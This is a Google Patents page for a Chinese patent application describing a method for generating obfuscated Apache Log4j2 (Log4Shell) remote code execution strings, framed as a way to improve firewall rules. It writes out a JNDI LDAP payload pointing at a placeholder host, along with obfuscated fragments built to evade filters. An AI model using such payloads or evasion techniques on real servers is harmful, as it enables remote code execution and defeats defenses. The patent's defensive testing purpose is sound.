CN115712901A - 一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法 - Google Patents

一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法 Download PDF

Info

Publication number
CN115712901A
CN115712901A CN202211484583.0A CN202211484583A CN115712901A CN 115712901 A CN115712901 A CN 115712901A CN 202211484583 A CN202211484583 A CN 202211484583A CN 115712901 A CN115712901 A CN 115712901A
Authority
CN
China
Prior art keywords
log4j2
apache
code execution
remote code
rule set
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Pending
Application number
CN202211484583.0A
Other languages
English (en)
Inventor
吕萍
刘智扬
王余
谭宇辰
葛方隽
魏启超
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Hangzhou Zhonger Network Technology Co ltd
Original Assignee
Hangzhou Zhonger Network Technology Co ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Hangzhou Zhonger Network Technology Co ltd filed Critical Hangzhou Zhonger Network Technology Co ltd
Priority to CN202211484583.0A priority Critical patent/CN115712901A/zh
Publication of CN115712901A publication Critical patent/CN115712901A/zh
Pending legal-status Critical Current

Links

Images

Landscapes

  • Devices For Executing Special Programs (AREA)

Abstract

本发明提供一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法,在进行网络安全攻防研究时,需要生成大量存在混淆数据的Apache Log4j2远程代码执行语句。本发明基于自顶向下、逐步混淆等方法,能够为单条Apache Log4j2远程代码执行语句生成大量的混淆语句。

Description

一种基于自顶向下的Apache Log4j2远程代码执行语句构造 方法
技术领域
本发明属于网络安全技术领域,涉及远程命令执行注入领域,具体地涉及一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法。
背景技术
2021年12月9日,Apache Log4j2远程代码执行漏洞(CVE-2021-44228)公开。Apache Log4j从2.0-beta9到2.15.0(不包括安全版本2.12.2,2.12.3,和2.3.1)的全版本都存在远程代码执行漏洞,攻击者使用“${}”标识符,触发JNDI注入漏洞,可在未授权的情况下远程执行代码,获得服务器控制权限。该漏洞危害程度高、利用难度低、影响范围大。
目前国内外对于Apache Log4j2远程代码执行漏洞的应急方法大体相近,大都建议更新Log4j2至2.15.1-rc2及以上的版本,进而从根本上防御Apache Log4j2远程代码执行漏洞。同时对于部分暂时无法更新Log4j2版本的用户,大都采用部署使用第三方防火墙产品的方式进行安全防护,并更新WAF、RASP规则等,实时监测网络流量,匹配过滤恶意请求。
但是由于Apache Log4j2远程代码执行漏洞特性,Web应用防火墙规则仍然存在缺陷。因而构建多样化的Apache Log4j2远程代码执行漏洞的有效荷载,对Web应用防火墙规则优化存在重要意义。
发明内容
本发明的目的在于针对现有技术的不足,提供了一种基于自顶向下的ApacheLog4j2远程代码执行语句构造方法。
本发明的目的是通过如下技术方案实现的:
一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法,包括如下步骤:
步骤一:构造数据混淆规则集G,包括等价替换规则集GE、敏感字符替换规则集Gc和无意义数据集GU,即G=(GE,Gc,GU);
步骤二:将Apache Log4j2远程代码执行语句S分为4个部分:标识符“${}”、jndi属性名、jndi可访问服务、访问服务器IP地址,分别命名为SL,SA,SAS和SIP,即S={SL,SA,SAS,SIP};
步骤三:利用数据混淆规则集G,对SA、SAS和SIP进行自顶向下的逐层细粒度混淆,依次得到对SA、SAS和SIP细粒度混淆完成的语句TA、TAS和TIP,最终获得细粒度混淆完成的Apache Log4j2远程代码执行语句T={SL,TA,TAS,TIP}。
进一步地,利用数据混淆规则集G,对SA、SAS和SIP进行自顶向下的逐层细粒度混淆时,同时利用等价替换规则集GE、敏感字符替换规则集Gc和无意义数据集GU进行逐层细粒度混淆。
进一步地,所述等价替换规则集合GE,用于在Apache Log4j2远程代码执行语句中,生成多样化的恶意数据;
所述敏感字符替换规则集合Gc,用于Apache Log4j2远程代码执行语句中敏感字符的替换;
所述无意义数据集合GU,用于增加Apache Log4j2远程代码执行语句逻辑复杂性。
进一步地,所述步骤三中,由SA得到细粒度混淆完成的语句TA的子步骤如下:
(1)首先对SA随机分割成n个字符长度不小于1的字符串集合A,即A={Ai|=1,2,3,…,n},其中,n<len(SA);
(2)根据等价替换规则集GE,在A中的每个元素的Ai中插入可用的恶意数据,生成新的字符串集合AE,即AE={AEi|=1,2,3,…,n};
(3)根据敏感字符替换规则集Gc,对AE中的每个元素的AEi中的敏感字符进行替换,降低AR的恶意程度,生成新的字符串集合AC,即AC={ACi|=1,2,3,…,n};
(4)根据无意义数据集GU,在AC中的每个元素的ACi插入可用的恶意数据,生成新的字符串集合AU,即AU={AUi|=1,2,3,…,n};
(5)最后将字符串集合AU,拼接生成对SA的细粒度混淆完成的字符串TA
由SAS到TAS、由SIP到TIP的子步骤与SA得到TA相同。
进一步地,根据等价替换规则集GE,在A中的每个元素的Ai中插入可用的恶意数据时,选用多种等价替换规则逐层叠加插入恶意数据,生成新的字符串集合AE
进一步地,根据无意义数据集GU,在AC中的每个元素的ACi插入可用的恶意数据,选择多种无意义数据插入,生成新的字符串集合AU
与现有技术相比,本发明具有如下有益效果:
(1)字符串级别的处理无法支持对Apache Log4j2远程代码执行语句细粒度的分析混淆,本发明使用自顶向下的思想方法,将Apache Log4j2远程代码执行语句逐步分解,逐层混淆,完成对语句原子级别的混淆操作;
(2)本发明构建类似树形结构的元素存储方式,可以灵活地处理分析层次的问题,可动态地进行混淆操作。
附图说明
图1是Apache Log4j2远程代码执行语句细粒度混淆的流程图。
图2是对jndi属性名SA自顶向下、逐层细粒度混淆的例子。
具体实施方式
下面根据附图和优选实施例详细描述本发明,本发明的目的和效果将变得更加明白,应当理解,此处所描述的具体实施例仅仅用以解释本发明,并不用于限定本发明。
本发明提供的基于自顶向下的Apache Log4j2远程代码执行语句构造方法,通过分解Apache Log4j2远程代码执行语句,随机细粒度拆分,逐层混淆,构造多样化的ApacheLog4j2远程代码执行语句样本。
如图1所示,本发明的基于自顶向下的Apache Log4j2远程代码执行语句构造方法,具体包括以下步骤:
(1)构造数据混淆规则集G,包括等价替换规则集GE、敏感字符替换规则集Gc和无意义数据集GU,即G=(GE,Gc,GU);
(2)将Apache Log4j2远程代码执行语句S,分为4个部分:标识符“${}”、jndi属性名、jndi可访问服务、访问服务器IP地址,分别命名为SL,SA,SAS和SIP,即S={SL,SA,SAS,SIP};
例如${jndi:ldap://127.0.0.1/},分为4个部分:标识符“${}”、jndi属性名jndi、jndi可访问服务ldap、访问服务器IP地址127.0.0.1,分别命名为SL,SA,SAS和SIP,最终得到S={${},jndi,ldap,127.0.0.1};
(3)利用数据混淆规则集G,其中,数据混淆规则集中的三个规则子集SA、SAS和SIP选择一个或多个进行自顶向下的逐层细粒度混淆且使用不存在先后顺序,且在混淆时,可以选取等价替换规则集GE、敏感字符替换规则集Gc和无意义数据集GU中的任意一种或多种进行逐层混淆,最终获得细粒度混淆完成的Apache Log4j2远程代码执行语句T={SL,TA,TAS,TIP}。
本实施例中选取三个规则子集都使用的情况,且同时利用GE、Gc、GU进行混淆,即混淆程度最高的情况。下面以对SA进行自顶向下的逐层细粒度混淆,得到细粒度混淆完成的语句TA为例介绍混淆过程,如图2所示,包括:
(3.1)首先对SA随机分割成n个字符长度不小于1的字符串集合A,即A={Ai|i=1,2,3,…,n},其中,n<len(SA),如本例中的jndi属性名kndi,可分为A={j,nd,i};
(3.2)根据等价替换规则集GE,在A中的每个元素的Ai中选用一种或多种可用的等价替换规则逐层叠加插入恶意数据,生成新的字符串集合AE,即AE={${:-j},${data:"nd"},${:${data:"-j"}}};
(3.3)根据敏感字符替换规则集Gc,对AE中的每个元素的AEi中的敏感字符进行替换,降低AE的恶意程度,生成新的字符串集合AC,即AC={${${sys:path.separator}-j},${data:"nd"},${:${data:"-j"}}};
(3.4)根据无意义数据集GU,在AC中的每个元素的ACi中选择一种或多种可用的无意义数据插入,生成新的字符串集合AU,即AU={${${sys:path.separator}-j},${da${sys:sun.cpu.isalist}ta:"nd"},${:${data:"-j"}}};
(3.5)最后将字符串集合AU,拼接生成对SA的细粒度混淆完成的字符串TA
按照(3)中描述的方法,利用数据混淆规则集G,对SAS和SIP进行自顶向下的逐层细粒度混淆,依次得到对SAS和SIP细粒度混淆完成的语句TAS和TIP,最终获得细粒度混淆完成的Apache Log4j2远程代码执行语句T={SL,TA,TAS,TIP}。
本领域普通技术人员可以理解,以上所述仅为发明的优选实例而已,并不用于限制发明,尽管参照前述实例对发明进行了详细的说明,对于本领域的技术人员来说,其依然可以对前述各实例记载的技术方案进行修改,或者对其中部分技术特征进行等同替换。凡在发明的精神和原则之内,所做的修改、等同替换等均应包含在发明的保护范围之内。

Claims (6)

1.一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法,其特征在于,包括如下步骤:
步骤一:构造数据混淆规则集G,包括等价替换规则集GE、敏感字符替换规则集Gc和无意义数据集GU,即G=(GE,Gc,GU);
步骤二:将Apache Log4j2远程代码执行语句S分为4个部分:标识符“${}”、jndi属性名、jndi可访问服务、访问服务器IP地址,分别命名为SL,SA,SAS和SIP,即S={SL,SA,SAS,SIP};
步骤三:利用数据混淆规则集G,对SA、SAS和SIP进行自顶向下的逐层细粒度混淆,依次得到对SA、SAS和SIP细粒度混淆完成的语句TA、TAS和TIP,最终获得细粒度混淆完成的ApacheLog4j2远程代码执行语句T={SL,TA,TAS,TIP}。
2.根据权利要求1所述的基于自顶向下的Apache Log4j2远程代码执行语句构造方法,其特征在于,利用数据混淆规则集G,对SA、SAS和SIP进行自顶向下的逐层细粒度混淆时,同时利用等价替换规则集GE、敏感字符替换规则集Gc和无意义数据集GU进行逐层细粒度混淆。
3.根据权利要求1所述的基于自顶向下的Apache Log4j2远程代码执行语句构造方法,其特征在于,所述等价替换规则集合GE,用于在Apache Log4j2远程代码执行语句中,生成多样化的恶意数据;
所述敏感字符替换规则集合Gc,用于Apache Log4j2远程代码执行语句中敏感字符的替换;
所述无意义数据集合GU,用于增加Apache Log4j2远程代码执行语句逻辑复杂性。
4.根据权利要求2所述的基于自顶向下的Apache Log4j2远程代码执行语句构造方法,其特征在于,所述步骤三中,由SA得到细粒度混淆完成的语句TA的子步骤如下:
(1)首先对SA随机分割成n个字符长度不小于1的字符串集合A,即A={Ai|i=1,2,3,...,n},其中,n<len(SA);
(2)根据等价替换规则集GE,在A中的每个元素的Ai中插入可用的恶意数据,生成新的字符串集合AE,即AE={AEi|i=1,2,3,...,n};
(3)根据敏感字符替换规则集Gc,对AE中的每个元素的AEi中的敏感字符进行替换,降低AE的恶意程度,生成新的字符串集合AC,即AC={ACi|i=1,2,3,...,n};
(4)根据无意义数据集GU,在AC中的每个元素的ACi插入可用的恶意数据,生成新的字符串集合AU,即AU={AUi|i=1,2,3,...,n};
(5)最后将字符串集合AU,拼接生成对SA的细粒度混淆完成的字符串TA;由SAS到TAS、由SIP到TIP的子步骤与SA得到TA相同。
5.根据权利要求4所述的基于自顶向下的Apache Log4j2远程代码执行语句构造方法,其特征在于,根据等价替换规则集GE,在A中的每个元素的Ai中插入可用的恶意数据时,选用多种等价替换规则逐层叠加插入恶意数据,生成新的字符串集合AE
6.根据权利要求4所述的基于自顶向下的Apache Log4j2远程代码执行语句构造方法,其特征在于,根据无意义数据集GU,在AC中的每个元素的ACi插入可用的恶意数据,选择多种无意义数据插入,生成新的字符串集合AU
CN202211484583.0A 2022-11-24 2022-11-24 一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法 Pending CN115712901A (zh)

Priority Applications (1)

Application Number Priority Date Filing Date Title
CN202211484583.0A CN115712901A (zh) 2022-11-24 2022-11-24 一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
CN202211484583.0A CN115712901A (zh) 2022-11-24 2022-11-24 一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法

Publications (1)

Publication Number Publication Date
CN115712901A true CN115712901A (zh) 2023-02-24

Family

ID=85234565

Family Applications (1)

Application Number Title Priority Date Filing Date
CN202211484583.0A Pending CN115712901A (zh) 2022-11-24 2022-11-24 一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法

Country Status (1)

Country Link
CN (1) CN115712901A (zh)

Similar Documents

Publication Publication Date Title
US11068605B2 (en) Systems and methods for controlling data exposure using artificial-intelligence-based periodic modeling
JP2020030866A (ja) 機密情報処理方法、装置、及び、サーバ、ならびに、セキュリティ決定システム
US9680649B2 (en) Policy-based key sharing
CA2957674C (en) Testing insecure computing environments using random data sets generated from characterizations of real data sets
US20200358778A1 (en) Role Discovery for Identity and Access Management in a Computing System
US20080282354A1 (en) Access control based on program properties
EP3234791A1 (en) Determining permissible activity based on permissible activity rules
Muthukumaran et al. FlowWatcher: Defending against data disclosure vulnerabilities in web applications
US10958685B2 (en) Generation of honeypot data
US11797534B2 (en) Efficient SQL-based graph random walk
CN111585956A (zh) 一种网址防刷验证方法与装置
CN103235918B (zh) 可信文件的收集方法及系统
Rauti et al. Diversifying SQL to prevent injection attacks
CN106411923B (zh) 基于本体建模的网络风险评估方法
CN115712901A (zh) 一种基于自顶向下的Apache Log4j2远程代码执行语句构造方法
Mora et al. Going a step beyond the black and white lists for URL accesses in the enterprise by means of categorical classifiers
CN110928958A (zh) 生成多维数据库查询
Kovacs et al. Argumentation-based security requirements analysis: Bitmessage case study
Northern Vulnerability analysis and cyber risk assessment
EP4254867A2 (en) Method, product, and system for analyzing attack paths in computer network generated using a software representation that embodies network configuration and policy data for security management
US20230319086A1 (en) Method, product, and system for network security management using a reasoning and inference engine
US20230319100A1 (en) Method, product, and system for analyzing attack paths in computer network generated using a software representation that embodies network configuration and policy data for security management
US20230319067A1 (en) Method, product, and system for network security management using software representation that embodies network configuration and policy data
Kumar et al. A qualitative analysis of effects of security risks on architecture of an information system
Kim et al. An object pool realization of Whitelist strategies to neutralize Injection flaws

Legal Events

Date Code Title Description
PB01 Publication
PB01 Publication
SE01 Entry into force of request for substantive examination
SE01 Entry into force of request for substantive examination